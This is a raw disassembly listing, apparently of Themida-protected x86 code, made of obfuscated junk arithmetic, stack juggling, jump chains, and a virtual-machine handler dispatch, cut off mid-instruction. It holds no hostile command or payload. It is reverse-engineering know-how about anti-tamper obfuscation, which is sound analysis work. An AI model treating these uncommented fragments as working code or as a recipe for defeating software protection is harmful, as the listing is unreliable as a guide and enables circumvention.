dec eax add eax, 0FFFFFFFFh add eax, 0F8E9E38Ah add ebp, eax mov eax, [esp] add esp, 4 sub ebp, 4 jmp loc_59D293 ; --------------------------------------------------------------------------- loc_5A8472: ; CODE XREF: Themida_:0059A00Aj jmp loc_5A2E9F ; --------------------------------------------------------------------------- loc_5A8477: ; CODE XREF: Themida_:005A9F15j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx push ebp mov ebp, 61FB6D01h jmp loc_5A76B4 ; --------------------------------------------------------------------------- loc_5A8492: ; CODE XREF: Themida_:00599910j mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5A3D31 ; --------------------------------------------------------------------------- loc_5A84A2: ; CODE XREF: Themida_:0059D96Bj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebx mov ebx, esp sub esp, 4 mov [esp], esi jmp loc_5A9BD3 ; --------------------------------------------------------------------------- loc_5A84C0: ; CODE XREF: Themida_:00599AEFj sub al, ch pop ecx pop edx push ebp mov ebp, esp add ebp, 4 jmp loc_59C983 ; --------------------------------------------------------------------------- loc_5A84D2: ; CODE XREF: Themida_:005AEF77j shr ecx, 4 jmp loc_5AEC1D ; --------------------------------------------------------------------------- loc_5A84DA: ; CODE XREF: Themida_:005A04CEj mov cx, [esp] add esp, 2 jmp loc_59B33B ; --------------------------------------------------------------------------- loc_5A84E6: ; CODE XREF: Themida_:005A6158j pop dword ptr [esp] mov esp, [esp] jmp loc_5A13D2 ; --------------------------------------------------------------------------- loc_5A84F1: ; CODE XREF: Themida_:0059F44Cj add eax, 4 jmp loc_59EECA ; --------------------------------------------------------------------------- loc_5A84FB: ; CODE XREF: Themida_:005A8DD9j add esp, 4 push ecx jmp loc_59CBC0 ; --------------------------------------------------------------------------- loc_5A8507: ; CODE XREF: Themida_:0059C421j ; Themida_:005AD604j xor eax, 0D6FF07B0h mov ecx, eax pop eax jmp loc_5A62D2 ; --------------------------------------------------------------------------- loc_5A8514: ; CODE XREF: Themida_:005AF0C6j add ebp, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 jmp loc_598EA8 ; --------------------------------------------------------------------------- loc_5A852D: ; CODE XREF: Themida_:005AE863j shr ebx, 5 dec ebx jle loc_5A5217 xor ebx, 18A25B1Dh mov ecx, ebx pop ebx add ecx, 0DC73BF1Bh jmp loc_599A40 ; --------------------------------------------------------------------------- loc_5A854B: ; CODE XREF: Themida_:0059E4A9j jge loc_59ED25 neg ebx jbe loc_59BC78 mov ebp, edx loc_5A855B: ; CODE XREF: Themida_:005ABFD7j sub eax, 38616C74h sub eax, esi jmp loc_5A107B ; --------------------------------------------------------------------------- loc_5A8567: ; CODE XREF: Themida_:005A4D72j add esi, eax pop eax jmp loc_5A1D5E ; --------------------------------------------------------------------------- loc_5A856F: ; CODE XREF: Themida_:005A2BE3j push esi push esp jmp loc_59DB83 ; --------------------------------------------------------------------------- loc_5A8576: ; CODE XREF: Themida_:005AA51Cj push ecx jmp loc_59D452 ; --------------------------------------------------------------------------- loc_5A857C: ; CODE XREF: Themida_:005A9DC1j and esi, 4A7829BAh xor esi, 0EBE782Dh shr esi, 2 xor esi, 7ABCAC0h add ebp, esi pop esi jmp loc_5A9B5C ; --------------------------------------------------------------------------- loc_5A8599: ; CODE XREF: Themida_:005A1E6Aj mov [esp], edx mov edx, esp push eax push 4 pop eax add edx, eax push dword ptr [esp] jmp loc_5A534C ; --------------------------------------------------------------------------- loc_5A85AF: ; CODE XREF: Themida_:0059D1D3j neg ebx jle loc_5AEC90 or ebx, 75B9602Fh xchg ecx, ebx not ecx loc_5A85C1: ; CODE XREF: Themida_:005A1A43j add esp, 4 jmp loc_59C32B ; --------------------------------------------------------------------------- loc_5A85CC: ; CODE XREF: Themida_:0059AE33j xchg ebx, [esp] mov esp, [esp] add ecx, 4 jmp loc_59EE47 ; --------------------------------------------------------------------------- loc_5A85DD: ; CODE XREF: Themida_:005ADE5Ej add edx, eax pop eax sub esp, 4 mov [esp], eax mov eax, 4 add edx, eax push dword ptr [esp] pop eax sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] xchg edx, [esp] pop esp sub esp, 4 mov [esp], edi mov edi, esp push eax mov eax, 5B1021C0h dec eax sub eax, 5B1021BBh add edi, eax jmp loc_5A9AC6 ; --------------------------------------------------------------------------- loc_5A8633: ; CODE XREF: Themida_:005AA866j ; Themida_:005ADB79j add ebp, esi pop esi xchg ebp, [esp] mov esp, [esp] mov cx, [esp] push 6053h mov [esp], edx push 782h mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax mov edx, [esp] add esp, 4 push eax push ebx jmp loc_5A9F1A ; --------------------------------------------------------------------------- loc_5A866B: ; CODE XREF: Themida_:005AE07Dj mov eax, ecx pop ecx push eax mov eax, 7DD94E74h jmp loc_598642 ; --------------------------------------------------------------------------- loc_5A8679: ; CODE XREF: Themida_:0059B648j mov ecx, 173650E8h mov esi, ecx mov ecx, [esp] push edx mov edx, esp jmp loc_5A8DC3 ; --------------------------------------------------------------------------- loc_5A868B: ; CODE XREF: Themida_:005ACEF0j pop ebx push edi jmp loc_59DE1D ; --------------------------------------------------------------------------- loc_5A8692: ; CODE XREF: Themida_:005A12EEj mov [esp], ebp jmp loc_5A8443 ; --------------------------------------------------------------------------- loc_5A869A: ; CODE XREF: Themida_:0059AC32j ; Themida_:005A5F2Aj pop esi sub esi, 2C44304Ah jmp loc_5AF13B ; --------------------------------------------------------------------------- loc_5A86A6: ; CODE XREF: Themida_:005AE148j sub ecx, ebx pop ebx add ecx, esi push eax mov eax, 5EDE47DEh jmp loc_5A2354 ; --------------------------------------------------------------------------- loc_5A86B6: ; CODE XREF: Themida_:005A00FAj xchg edx, [esp] pop esp mov [esp], edi push 2172h jmp loc_5A762F ; --------------------------------------------------------------------------- loc_5A86C7: ; CODE XREF: Themida_:005A2415j not edi jmp loc_5A5BD9 ; --------------------------------------------------------------------------- loc_5A86CE: ; CODE XREF: Themida_:005ACCB4j pop dword ptr [esp] pop esp add esp, 4 jmp loc_5A8DAC ; --------------------------------------------------------------------------- loc_5A86DD: ; CODE XREF: Themida_:0059DF3Bj xchg edi, [esp] pop esp mov [esp], esi mov esi, 0E681A19h sub esi, 77D61AECh sub edx, esi jmp loc_59CDF2 ; --------------------------------------------------------------------------- loc_5A86F6: ; CODE XREF: Themida_:005A6172j mov bl, dl push edx mov dl, bl mov ch, dl pop edx mov ebx, [esp] add esp, 4 pop edx add ch, 16h push edx mov dh, 96h jmp loc_5A6C25 ; --------------------------------------------------------------------------- loc_5A8713: ; CODE XREF: Themida_:0059A311j xor edx, 4902666Fh mov esi, edx pop edx jmp loc_5A7D38 ; --------------------------------------------------------------------------- loc_5A8721: ; CODE XREF: Themida_:005A3B79j neg ch or ch, 0Ch not ch push edx mov dh, 0F5h xor dh, 3Fh and dh, 0F9h push 0 sub [esp], dh jmp loc_5AB714 ; --------------------------------------------------------------------------- loc_5A873E: ; CODE XREF: Themida_:0059D809j ; Themida_:0059E195j add bl, al jmp loc_5AB23D ; --------------------------------------------------------------------------- loc_5A8745: ; CODE XREF: Themida_:00599ADCj ; Themida_:005A237Fj add ebx, 4DAB1463h pop ecx add ebx, esi push ebp mov ebp, 4A80641Fh jmp loc_5998AA ; --------------------------------------------------------------------------- loc_5A8759: ; CODE XREF: Themida_:005AD725j mov eax, 423203F0h neg eax shr eax, 8 push esi push ecx push 8941ACAh pop ecx xor ecx, 829D732h mov esi, ecx pop ecx xor eax, esi jmp loc_5A0160 ; --------------------------------------------------------------------------- loc_5A877B: ; CODE XREF: Themida_:005AD080j add ebx, 3ABE5430h sub ebx, edi sub ebx, 3ABE5430h sub ebx, 58FF11C1h mov edi, [esp] add esp, 4 sub ebx, 3EA94280h jmp loc_59FB13 ; --------------------------------------------------------------------------- loc_5A87A3: ; CODE XREF: Themida_:0059945Aj ; Themida_:005A2002j add ebx, ebp add ebx, 5D07287Eh jmp loc_599A1C ; --------------------------------------------------------------------------- loc_5A87B0: ; CODE XREF: Themida_:005A0D7Aj pop ebp push 6F87h mov [esp], ecx jmp loc_5A42F5 ; --------------------------------------------------------------------------- loc_5A87BE: ; CODE XREF: Themida_:loc_5A6C3Dj shr ebx, 8 or ebx, 6A7828A1h jb loc_59A298 xor ebx, 4B3342CFh jmp loc_5AA9E5 ; --------------------------------------------------------------------------- loc_5A87D8: ; CODE XREF: Themida_:loc_5AAD55j sub eax, 9E0717E5h mov edx, eax pop eax push edx pop edi jmp loc_59EC05 ; --------------------------------------------------------------------------- loc_5A87E7: ; CODE XREF: Themida_:005ADC52j pop ebx push 0AF3h mov [esp], ecx jmp loc_59C189 ; --------------------------------------------------------------------------- loc_5A87F5: ; CODE XREF: Themida_:005A558Dj ; Themida_:005A8B67j add esp, 4 add ebx, 2 jmp loc_59CA31 ; --------------------------------------------------------------------------- loc_5A8803: ; CODE XREF: Themida_:005A9EB1j xor al, bl jmp loc_5A07D0 ; --------------------------------------------------------------------------- loc_5A880A: ; CODE XREF: Themida_:0059D448j xor eax, 0D6FF07B0h mov ecx, eax pop eax jmp loc_5A560A ; --------------------------------------------------------------------------- loc_5A8817: ; CODE XREF: Themida_:005AB66Dj mov bl, ah jmp loc_59EDBC ; --------------------------------------------------------------------------- loc_5A881E: ; CODE XREF: Themida_:005AA61Dj pop eax add ebx, 1 push 7721h jmp loc_5AB35D ; --------------------------------------------------------------------------- loc_5A882F: ; CODE XREF: Themida_:005AAEE2j mov [esp], edx push 60A7h mov [esp], esp jmp loc_5A5C6E ; --------------------------------------------------------------------------- loc_5A883F: ; CODE XREF: Themida_:005A0CC2j push dx push ecx push eax mov al, 91h sub esp, 4 mov [esp], ebx push edx mov dh, al mov bh, dh pop edx mov cl, bh pop ebx pop eax jmp loc_5A1DD8 ; --------------------------------------------------------------------------- loc_5A885A: ; CODE XREF: Themida_:0059B21Ej and al, 7 inc al not al add al, 13h xor cl, al pop eax sub esp, 4 mov [esp], edx mov dh, 64h sub dh, 96h add cl, dh mov edx, [esp] jmp loc_59F081 ; --------------------------------------------------------------------------- loc_5A887D: ; CODE XREF: Themida_:0059F7F0j pop ebp sub edx, ecx jmp loc_5A542D ; --------------------------------------------------------------------------- loc_5A8885: ; CODE XREF: Themida_:005A7728j add ecx, 1321064Bh push ebx push edi mov edi, 52F12593h mov ebx, edi pop edi add ecx, ebx pop ebx push dword ptr [esp] push dword ptr [esp] jmp loc_59934B ; --------------------------------------------------------------------------- loc_5A88A3: ; CODE XREF: Themida_:0059B0E7j ; Themida_:0059E895j add edx, ecx jmp loc_598785 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_59FA45 ; --------------------------------------------------------------------------- loc_5A88B2: ; CODE XREF: Themida_:0059FE89j add ebp, 4 xchg ebp, [esp] pop esp add [esp+4], ebp push ebp mov ebp, 77DB2FB3h sub [esp+8], ebp pop ebp jmp loc_5A5CCD ; --------------------------------------------------------------------------- loc_5A88CD: ; CODE XREF: Themida_:0059EF13j neg ebx xchg ebx, edx and edx, 105539BEh jmp loc_5AA9B6 ; --------------------------------------------------------------------------- loc_5A88DC: ; CODE XREF: Themida_:0059D86Cj pop esi mov eax, 241E6A50h xor eax, ebp pop ebp dec eax jp loc_5A026A jmp loc_5AECA8 ; --------------------------------------------------------------------------- loc_5A88F1: ; CODE XREF: Themida_:00599941j add ebx, 504C0EB8h jnb loc_59BF0D add ebx, 70FFFAEDh mov eax, ebx pop ebx jmp loc_59FB59 ; --------------------------------------------------------------------------- loc_5A890B: ; CODE XREF: Themida_:005AB1B5j pop ebp mov ebp, 42F64D5Eh sub ebp, edx mov edx, [esp] jmp loc_5AD945 ; --------------------------------------------------------------------------- loc_5A891B: ; CODE XREF: Themida_:005A2B12j push 639F7EDBh pop eax jmp loc_5ABF4A ; --------------------------------------------------------------------------- loc_5A8926: ; CODE XREF: Themida_:005A0E1Cj sub edx, ebx jmp loc_5AD296 ; --------------------------------------------------------------------------- loc_5A892D: ; CODE XREF: Themida_:005AAD78j mov ebp, edx pop edx dec ebp jg loc_5A9F89 xor ebp, 5C956FBEh jmp loc_59F1E6 ; --------------------------------------------------------------------------- loc_5A8942: ; CODE XREF: Themida_:005A8046j push ebp jmp loc_59CABE ; --------------------------------------------------------------------------- loc_5A8948: ; CODE XREF: Themida_:005AB9D1j sub esi, 0A75E9B69h sub edi, esi pop esi add edx, 7AF01FEh add edx, edi sub edx, 7AF01FEh pop edi add edx, 4 xchg edx, [esp] jmp loc_59CE1A ; --------------------------------------------------------------------------- loc_5A896B: ; CODE XREF: Themida_:005A0D74j add eax, 4 push esi mov esi, 2 jmp loc_5A44CC ; --------------------------------------------------------------------------- loc_5A897B: ; CODE XREF: Themida_:0059E660j sub ebx, 36312951h push 3D6Eh jmp loc_5A7012 ; --------------------------------------------------------------------------- loc_5A898B: ; CODE XREF: Themida_:0059BE87j push dword ptr [esp] pop edi add esp, 4 sub eax, 759A7A3Eh sub eax, 1D7627EEh sub eax, ecx push edx jmp loc_5AECF7 ; --------------------------------------------------------------------------- loc_5A89A4: ; CODE XREF: Themida_:005AACD3j ; Themida_:005AC084j add esi, 4 jmp loc_5AAB0D ; --------------------------------------------------------------------------- loc_5A89AF: ; CODE XREF: Themida_:0059B2BAj add edx, 4 xchg edx, [esp] pop esp add esp, 4 pop ebp sub eax, 543F45E0h sub eax, edx push esi mov esi, 68F11F4Ah jmp loc_5A33C0 ; --------------------------------------------------------------------------- loc_5A89D2: ; CODE XREF: Themida_:00599671j mov [esp], bx jmp loc_5A49BB ; --------------------------------------------------------------------------- loc_5A89DB: ; CODE XREF: Themida_:0059BD6Ej neg dh xchg dh, bh neg bh push ax mov al, 5Dh jmp loc_5AB463 ; --------------------------------------------------------------------------- loc_5A89EA: ; CODE XREF: Themida_:0059C97Ej ; Themida_:005AA2C5j add bl, al mov eax, [esp] jmp loc_5A0F04 ; --------------------------------------------------------------------------- loc_5A89F4: ; CODE XREF: Themida_:005A2D48j add esi, ebp mov ebp, [esp] add esp, 4 mov edi, esi pop esi add ebx, 18B8444Ah jmp loc_59FA53 ; --------------------------------------------------------------------------- loc_5A8A0D: ; CODE XREF: Themida_:005AD041j add ebp, edi jmp loc_599115 ; --------------------------------------------------------------------------- loc_5A8A14: ; CODE XREF: Themida_:005AE7DEj mov edi, ecx pop ecx sub eax, 53773DBCh add eax, 6DD23CA8h sub eax, 237A695Fh add eax, edi add eax, 237A695Fh sub eax, 6DD23CA8h add eax, 53773DBCh mov edi, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] jmp loc_5A6763 ; --------------------------------------------------------------------------- loc_5A8A48: ; CODE XREF: Themida_:005AD737j mov [esp], edx mov edx, 4 push edx mov edx, 0D380315h or edx, 76B1C11h dec edx shl edx, 7 xor edx, 0D5A5B01Ch jmp loc_59DE67 ; --------------------------------------------------------------------------- loc_5A8A6B: ; CODE XREF: Themida_:loc_5A4E69j xor edx, 13C846F9h jp loc_5ADC74 jmp loc_5A5559 ; --------------------------------------------------------------------------- loc_5A8A7C: ; CODE XREF: Themida_:0059AB2Bj mov edx, 0BD965AEh jmp loc_59DEA6 ; --------------------------------------------------------------------------- loc_5A8A86: ; CODE XREF: Themida_:005A701Cj mov ebx, 6C4C5F69h jmp loc_59BEB9 ; --------------------------------------------------------------------------- loc_5A8A90: ; CODE XREF: Themida_:005AB358j add esi, 4 xchg esi, [esp] pop esp push 57D7h mov [esp], edi jmp loc_5AB57F ; --------------------------------------------------------------------------- loc_5A8AA4: ; CODE XREF: Themida_:005A03D3j not edi add edi, 31E038D4h sub edi, 0C8A71472h mov ecx, edi jmp loc_5A1AA8 ; --------------------------------------------------------------------------- loc_5A8AB9: ; CODE XREF: Themida_:005AA745j pop esp push esi mov esi, 4 add ebp, esi jmp loc_5A7C8F ; --------------------------------------------------------------------------- loc_5A8AC7: ; CODE XREF: Themida_:0059FC96j ; Themida_:005A6AE7j ... mov eax, [esp] add esp, 4 add bl, ch pop ecx jmp loc_59C974 ; --------------------------------------------------------------------------- loc_5A8AD8: ; CODE XREF: Themida_:005A4B09j add ebx, 180241C0h mov esi, ebx pop ebx add esi, 7B757AEh jnb loc_59D88E jmp loc_5AA17D ; --------------------------------------------------------------------------- mov esi, esp push ecx push 4 pop ecx push edi loc_5A8AFC: ; CODE XREF: Themida_:0059F471j pop bx and dl, cl jmp loc_5A68F8 ; --------------------------------------------------------------------------- loc_5A8B05: ; CODE XREF: Themida_:005AE123j pop edi add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_5AC759 ; --------------------------------------------------------------------------- loc_5A8B1A: ; CODE XREF: Themida_:005A2336j add eax, 7FDE0B5Fh jmp loc_5AD0BC ; --------------------------------------------------------------------------- loc_5A8B24: ; CODE XREF: Themida_:0059FA6Ej push ax pushf jmp loc_5AA941 ; --------------------------------------------------------------------------- loc_5A8B2C: ; CODE XREF: Themida_:005A9AC1j add esi, 0FFFFFFFFh jmp loc_5984A1 ; --------------------------------------------------------------------------- loc_5A8B34: ; CODE XREF: Themida_:loc_5A7F0Ej shr ebp, 3 sub ebp, 84AF2740h sub dword ptr [esp+4], 40FC14DFh sub dword ptr [esp+4], 0DF910DFh add [esp+4], ebp add dword ptr [esp+4], 0DF910DFh jmp loc_59B762 ; --------------------------------------------------------------------------- loc_5A8B5E: ; CODE XREF: Themida_:005AD7FBj sub ebx, 33B94023h mov eax, [esp] jmp loc_5A87F5 ; --------------------------------------------------------------------------- loc_5A8B6C: ; CODE XREF: Themida_:005AC6EDj pop esi jmp loc_5A431E ; --------------------------------------------------------------------------- loc_5A8B72: ; CODE XREF: Themida_:0059D3E9j mov [esp], edx jmp loc_5A18FD ; --------------------------------------------------------------------------- loc_5A8B7A: ; CODE XREF: Themida_:005ABD54j add dword ptr [esp], 4 mov edx, [esp] add esp, 4 push 6353h mov [esp], ebp mov ebp, 4 add edx, ebp push dword ptr [esp] pop ebp add esp, 4 push 20A0h jmp loc_5AE2B9 ; --------------------------------------------------------------------------- loc_5A8BAA: ; CODE XREF: Themida_:005A0E39j pop ebp push 613Fh mov [esp], ebx push 4F792D9Fh mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5A7AA9 ; --------------------------------------------------------------------------- loc_5A8BD3: ; CODE XREF: Themida_:0059AFBBj pop ebx xor ch, 1Ah shl ch, 3 jmp loc_5A1255 ; --------------------------------------------------------------------------- loc_5A8BDF: ; CODE XREF: Themida_:0059BBE0j add ebp, 5AE02665h add ebp, esi sub ebp, 5AE02665h add ebp, 2BEC54A2h mov esi, [esp] jmp loc_5A7075 ; --------------------------------------------------------------------------- loc_5A8BFB: ; CODE XREF: Themida_:005A4708j add ebx, 2FA51F94h jmp loc_5AE397 ; --------------------------------------------------------------------------- loc_5A8C06: ; CODE XREF: Themida_:005ADEA7j jmp loc_5AED0C ; --------------------------------------------------------------------------- loc_5A8C0B: ; CODE XREF: Themida_:005AE930j pop ebp push 7A31h mov [esp], ecx jmp loc_5A0E00 ; --------------------------------------------------------------------------- loc_5A8C19: ; CODE XREF: Themida_:005A3961j pop ecx jmp loc_59D531 ; --------------------------------------------------------------------------- loc_5A8C1F: ; CODE XREF: Themida_:005AD9D0j xor ebp, ebx jmp loc_5ADA6F ; --------------------------------------------------------------------------- loc_5A8C26: ; CODE XREF: Themida_:0059DF76j push bx mov bh, 0E5h sub al, 7Ah sub al, bh add al, 7Ah pop bx jmp loc_5A0AEF ; --------------------------------------------------------------------------- loc_5A8C37: ; CODE XREF: Themida_:0059A439j mov eax, esp push esi jmp loc_5A69C0 ; --------------------------------------------------------------------------- loc_5A8C3F: ; CODE XREF: Themida_:0059BFD7j add edx, 4 push ecx mov ecx, 4 jmp loc_5A4037 ; --------------------------------------------------------------------------- lodsd sub esp, 4 jmp loc_59BF4D ; --------------------------------------------------------------------------- loc_5A8C5C: ; CODE XREF: Themida_:0059E264j mov eax, 57F4320Dh shr eax, 8 push edx mov edx, 3CF6256Ch shr edx, 8 xchg ebp, edx not ebp xchg ebp, edx jmp loc_59A2D4 ; --------------------------------------------------------------------------- loc_5A8C78: ; CODE XREF: Themida_:0059D2E5j mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push 6941h mov [esp], edx mov ebx, [esp] jmp loc_5A57BB ; --------------------------------------------------------------------------- mov eax, 0DA91742h jmp loc_5AE008 ; --------------------------------------------------------------------------- loc_5A8C9E: ; CODE XREF: Themida_:loc_5A01D4j add edi, 1AF1251h jb loc_5A2C28 add edi, 32A358B0h mov ecx, edi pop edi jmp loc_59D520 ; --------------------------------------------------------------------------- loc_5A8CB8: ; CODE XREF: Themida_:005A2C42j push 3781h mov [esp], eax mov al, 0E5h xor al, 4Fh xor dl, al pop eax sub al, dl mov edx, [esp] add esp, 4 add bl, al pop eax sub bl, ch sub bl, 69h mov ecx, [esp] jmp loc_5A2EDB ; --------------------------------------------------------------------------- loc_5A8CDF: ; CODE XREF: Themida_:005A04ECj dec edx jge loc_59C27F sub esp, 4 mov [esp], ebx mov ebx, 21747A9Fh pop esi loc_5A8CF2: ; CODE XREF: Themida_:005AE6A0j add ecx, 1CD011A9h jmp loc_5A7925 ; --------------------------------------------------------------------------- loc_5A8CFD: ; CODE XREF: Themida_:005A4032j add dh, 6Ch or dh, 6Fh jmp loc_5A67DF ; --------------------------------------------------------------------------- loc_5A8D08: ; CODE XREF: Themida_:005A0951j dec ebp jo loc_5A827A or ebp, 0DF93974h jp loc_5AAE15 neg ebp jmp loc_59E6F3 ; --------------------------------------------------------------------------- loc_5A8D22: ; CODE XREF: Themida_:00598C51j mov ebx, esp push ecx mov ecx, 0CB70481h shr ecx, 5 xor ecx, 0B1140CFh jmp loc_5A962F ; --------------------------------------------------------------------------- loc_5A8D38: ; CODE XREF: Themida_:0059AC1Fj or ah, 4Ch dec ah jmp loc_5A24AA ; --------------------------------------------------------------------------- loc_5A8D42: ; CODE XREF: Themida_:005A7E43j add eax, 63CE10EBh mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub ecx, 195C1C62h add ecx, eax add ecx, 195C1C62h jmp loc_59CB8A ; --------------------------------------------------------------------------- loc_5A8D70: ; CODE XREF: Themida_:005A90B0j sub eax, 6E231FFDh jmp loc_5A9E91 ; --------------------------------------------------------------------------- loc_5A8D7A: ; CODE XREF: Themida_:005ABDB4j mov edi, 70FF4897h dec edi dec edi xchg esi, edi not esi jmp loc_59F53A ; --------------------------------------------------------------------------- loc_5A8D8A: ; CODE XREF: Themida_:0059FF51j add edx, 4 jmp loc_5AB6E0 ; --------------------------------------------------------------------------- loc_5A8D92: ; CODE XREF: Themida_:00599F6Fj add ecx, 4064F20h sub ebx, ecx pop ecx add ebx, 4636CEAh add ebx, 34C71364h jmp loc_5A59C1 ; --------------------------------------------------------------------------- loc_5A8DAC: ; CODE XREF: Themida_:005A86D8j movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] sub dword ptr [esp], 6D3370Ah jmp loc_5ACD9C ; --------------------------------------------------------------------------- loc_5A8DC3: ; CODE XREF: Themida_:005A8686j add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ecx, esi push dword ptr [esp] pop esi jmp loc_5A84FB ; --------------------------------------------------------------------------- loc_5A8DDE: ; CODE XREF: Themida_:005A962Aj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A4128 ; --------------------------------------------------------------------------- loc_5A8DF2: ; CODE XREF: Themida_:0059F76Ej or ebp, 27769D9h inc ebp push edi jmp loc_5A9393 ; --------------------------------------------------------------------------- loc_5A8DFF: ; CODE XREF: Themida_:005A00F4j add eax, ecx sub eax, 2DDE3A56h jmp loc_5A3E6E ; --------------------------------------------------------------------------- loc_5A8E0B: ; CODE XREF: Themida_:005A7EB1j ; Themida_:005ABF75j add esi, 4 xchg esi, [esp] mov esp, [esp] add bl, ch pop cx add bl, al jmp loc_59A5D1 ; --------------------------------------------------------------------------- loc_5A8E1F: ; CODE XREF: Themida_:005A94B8j pop ebx jmp loc_5AB72B ; --------------------------------------------------------------------------- loc_5A8E25: ; CODE XREF: Themida_:005A6F57j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_598CED ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A8E40: ; CODE XREF: Themida_:005AB67Cj sub eax, edx add eax, 70967471h add eax, 57C97726h push dword ptr [esp] jmp loc_5A6E03 ; --------------------------------------------------------------------------- loc_5A8E54: ; CODE XREF: Themida_:005A4893j add eax, 4 xchg eax, [esp] pop esp push ecx push eax mov eax, 4 jmp loc_5A2F64 ; --------------------------------------------------------------------------- loc_5A8E67: ; CODE XREF: Themida_:0059CAB9j mov edx, 4 mov eax, edx pop edx add ecx, eax pop eax add ecx, 4 xchg ecx, [esp] pop esp push 3A32h mov [esp], ebp mov ebp, 25A66774h add edi, 555368A9h sub edi, ebp sub edi, 555368A9h pop ebp add edi, 606070B4h add edi, ebp sub edi, 606070B4h add edi, 25A66774h jmp loc_5A30AD ; --------------------------------------------------------------------------- loc_5A8EAE: ; CODE XREF: Themida_:0059A150j push esp jmp loc_5A0627 ; --------------------------------------------------------------------------- loc_5A8EB4: ; CODE XREF: Themida_:005AC8C7j push edi mov edi, 7DFF6A63h sub eax, edi pop edi mov edi, eax jmp loc_5A1313 ; --------------------------------------------------------------------------- loc_5A8EC4: ; CODE XREF: Themida_:005A221Cj push ecx mov ecx, esp jmp loc_59D27F ; --------------------------------------------------------------------------- loc_5A8ECC: ; CODE XREF: Themida_:005AAD1Dj shr ebx, 6 add ebx, 0FFFFFFFFh inc ebx or ebx, 40473746h xor ebx, 45D6426Dh sub ebp, ebx pop ebx push edi mov edi, 55F37F8Bh push ebp mov ebp, 1160612h or edi, ebp pop ebp shl edi, 4 push eax mov eax, 51D3A76h sub edi, eax jmp loc_59CFF8 ; --------------------------------------------------------------------------- loc_5A8F01: ; CODE XREF: Themida_:005A2F9Dj sub ecx, 3D244A92h pop ebx xchg ecx, [esp] mov esp, [esp] mov [esp], eax push dword ptr [esp] pop ebx sub esp, 4 jmp loc_5A3EFE ; --------------------------------------------------------------------------- loc_5A8F20: ; CODE XREF: Themida_:005987EFj shr eax, 4 add eax, 5BF11713h mov ebp, eax pop eax jmp loc_5A4911 ; --------------------------------------------------------------------------- loc_5A8F30: ; CODE XREF: Themida_:0059CA98j xor ch, bh pop ebx jmp loc_5A7C52 ; --------------------------------------------------------------------------- loc_5A8F38: ; CODE XREF: Themida_:005ABF94j pop ecx jmp loc_59A1E2 ; --------------------------------------------------------------------------- loc_5A8F3E: ; CODE XREF: Themida_:005A2E27j push small 587Ah mov [esp], cx movzx cx, al push cx pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A8F52: ; CODE XREF: Themida_:005A1A92j mov [esp], ecx jmp loc_5A29DB ; --------------------------------------------------------------------------- loc_5A8F5A: ; CODE XREF: Themida_:0059EFD6j add ebp, esi sub ebp, 62806056h mov esi, [esp] push ebp jmp loc_5A82DE ; --------------------------------------------------------------------------- loc_5A8F6B: ; CODE XREF: Themida_:0059CB79j sub dh, 40h dec dh push ecx jmp loc_5A2C47 ; --------------------------------------------------------------------------- loc_5A8F76: ; CODE XREF: Themida_:005A3E0Cj add eax, ebx pop ebx add eax, 276F147Eh sub eax, 0EF47C142h and ebx, eax jmp loc_5A9A4A ; --------------------------------------------------------------------------- loc_5A8F8A: ; CODE XREF: Themida_:0059B24Dj ; Themida_:005A6729j mov ebx, esp push esi mov esi, 4 add ebx, 1A3F044Bh jmp loc_5ABD91 ; --------------------------------------------------------------------------- loc_5A8F9D: ; CODE XREF: Themida_:005A39C8j add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] xor eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push ecx jmp loc_59D4DB ; --------------------------------------------------------------------------- loc_5A8FCB: ; CODE XREF: Themida_:005A420Ej xor [esp], edx xor edx, [esp] mov esp, [esp] push 951h jmp loc_59922A ; --------------------------------------------------------------------------- loc_5A8FDE: ; CODE XREF: Themida_:005A52C0j or ah, 46h ja loc_59FBB2 jmp loc_5A7E80 ; --------------------------------------------------------------------------- push esp pop edi add edi, 4 sub al, 0FFh loc_5A8FF6: ; CODE XREF: Themida_:loc_5AF07Bj shr bh, 4 xor bh, 9Ah jnz loc_5A34F4 jmp loc_59F589 ; --------------------------------------------------------------------------- jmp loc_5A2439 ; --------------------------------------------------------------------------- pop esp loc_5A900D: ; CODE XREF: Themida_:0059E2BBj pop ebx add esi, 4 jmp loc_5AE19A ; --------------------------------------------------------------------------- loc_5A9016: ; CODE XREF: Themida_:0059D7EDj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_59E5D0 ; --------------------------------------------------------------------------- loc_5A9028: ; CODE XREF: Themida_:005997D2j mov ebp, 673D0009h dec ebp push esi mov esi, 69E3508Eh xor ebp, esi pop esi and ebp, 64951675h xor ebp, 174E349Ch push eax mov eax, ebp mov edx, eax jmp loc_5A0D79 ; --------------------------------------------------------------------------- loc_5A904D: ; CODE XREF: Themida_:005ABE94j add ebp, 133FCD81h push ebx push eax mov eax, 3A5A4A9Fh jmp loc_599E92 ; --------------------------------------------------------------------------- loc_5A905F: ; CODE XREF: Themida_:0059F83Ej pop eax jmp loc_5AF013 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp 